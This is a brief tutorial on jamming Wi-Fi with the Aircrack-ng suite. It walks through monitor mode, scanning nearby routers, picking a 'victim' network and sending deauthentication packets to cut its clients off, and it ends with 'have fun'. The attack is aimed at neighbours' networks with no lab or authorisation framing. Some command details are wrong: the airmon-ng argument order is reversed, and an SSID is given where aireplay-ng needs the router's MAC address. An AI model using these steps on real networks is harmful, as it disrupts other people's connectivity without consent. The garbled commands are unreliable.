Wifi Signal Jamming With Aircrack-ng suite

Things you will need: 

• A Linux distro (Ubuntu, Kali Linux, etc);
• A wifi adapter capable of packet injection;
• Aircrack-ng suite;

 Steps:

Open up a terminal, and install arcrack-ng suite bye entering following command in the terminal:  
                          
                            # apt-get install aircrack-ng

Now enter the following command in terminal to get a list of wifi adapters:
                           # airmon-ng

As you can see my wifi adapter is wlan0. Now we will switch this wifi adapter (wlan0) to monitor mode by using the below command.
                          # airmon-ng wlan0 start

Now monitor mode is enabled on mon0.  Now start sniffing wifi packets by using the below command to get a list of wifi routers in your neighborhood. 
                         # airodump-ng mon0

Now copy the ssid of the victim (we will need it). Now start the attack by entering the below command in your terminal, replace packets with number of packets you want to send to deauth clients and replace ssid with victim ssid, that you copied in the previous step.
                     # aireplay-ng -0 packets -a ssid mon0 --ignore-negative-one 

Now stay back and have fun ....